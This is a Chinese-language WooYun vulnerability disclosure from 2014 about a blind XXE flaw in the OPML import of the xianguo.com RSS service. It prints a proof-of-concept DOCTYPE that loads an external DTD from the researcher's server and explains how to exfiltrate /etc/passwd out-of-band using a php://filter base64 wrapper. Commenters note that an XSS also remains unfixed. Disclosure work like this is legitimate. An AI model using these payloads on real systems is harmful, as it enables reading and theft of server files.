漏洞概要
关注数(24)
关注此漏洞
漏洞标题:鲜果网RSS导入Blind XXE漏洞
提交时间:2014-08-27 16:07
修复时间:2014-09-01 16:08
公开时间:2014-09-01 16:08
漏洞类型:任意文件遍历/下载
危害等级:高
自评Rank:10
漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞
Tags标签:
无
漏洞详情
披露状态:
2014-08-27: 细节已通知厂商并且等待厂商处理中
2014-09-01: 厂商已经主动忽略漏洞,细节向公众公开
简要描述:
鲜果网支持导入 OPML文件格式的订阅,本质还是XML格式,由于处理不严格导致Blind XXE漏洞。
详细说明:
http://xianguo.com/my/opml
不怎么用鲜果,不过在测试其他的地方的时候发现的一个问题,Blind XXE是老漏洞,PHP的OOB也没啥难度, 不过没看到wooyun有实例,就放出来了。
一般的XXE漏洞测试流程:
1. 是否支持解析实体 ——> 2. 是否支持解析外部实体
1. 通常步骤是先看能否解析实体
2. 然后看看能否引用外部实体(当然,如果修补方案是过滤这里还需要测试通过DOCTYPE引入DTD的情况)
不幸的是此路不通,所以就上主角了:Blind XXE。
纯Blind XXE的核心就是参数实体了,有几个特性:
上POC:
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://1v4n.sinaapp.com/xxxxxxx">
%remote;
]>
导入的时候,看看自己服务器的日志,有访问,证明外部实体引用成功。
剩下的就是OOB了,看了下是PHP,可惜没Expect 扩展,直接使用php wrapper,php://filter/read=convert.base64-encode/resource=file:///etc/passwd 导出数据。
至于能干什么,就看SSRF功底和运气了,这里就读取/etc/passwd。
导入POC:
引用的:1v4n.sinaapp.com/xxe/evil_php.xml 代码如下(这里的url改成自己的服务器,不然数据又到我的server上了,o(╯□╰)o):
漏洞证明:
base64解密
修复方案:
版权声明:转载请注明来源 iv4n@乌云
漏洞回应
厂商回应:
危害等级:无影响厂商忽略
忽略时间:2014-09-01 16:08
厂商回复:
漏洞Rank:10 (WooYun评价)
最新状态:
暂无
漏洞评价:
评论
-
2014-08-27 16:09 |
U神 ( 核心白帽子 | Rank:1285 漏洞数:142 | 感谢乌云,知恩不忘,其实我一直都在乌云默...)
-
2014-08-27 16:14 |
海绵宝宝 ( 普通白帽子 | Rank:243 漏洞数:50 | 唯有梦想与好姑娘不可辜负.)
-
2014-09-01 16:31 |
D_in ( 普通白帽子 | Rank:413 漏洞数:62 | 到我嘴里来)
-
2014-09-01 16:34 |
YwiSax ( 实习白帽子 | Rank:62 漏洞数:4 | 淡定。)
-
2014-09-02 08:55 |
3xpl0it ( 实习白帽子 | Rank:41 漏洞数:15 | 0xExploit)
-
2014-09-02 12:09 |
啊L川 ( 普通白帽子 | Rank:195 漏洞数:39 | 菜鸟 ,菜渣, 菜呀!)
-
2014-09-02 14:05 |
xsser_w ( 普通白帽子 | Rank:112 漏洞数:33 | 哎)
要知道 鲜果的那个 #alert(1)也没修复呢 pz很久以前就爆了
-
2015-02-27 17:11 |
xsser ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)
-
2015-06-02 10:26 |
_Evil ( 普通白帽子 | Rank:418 漏洞数:59 | 万事无他,唯手熟尔。农民也会编程,别指望天...)
-
2015-06-02 20:11 |
胡小树 ( 实习白帽子 | Rank:60 漏洞数:11 | 我是一颗小小树)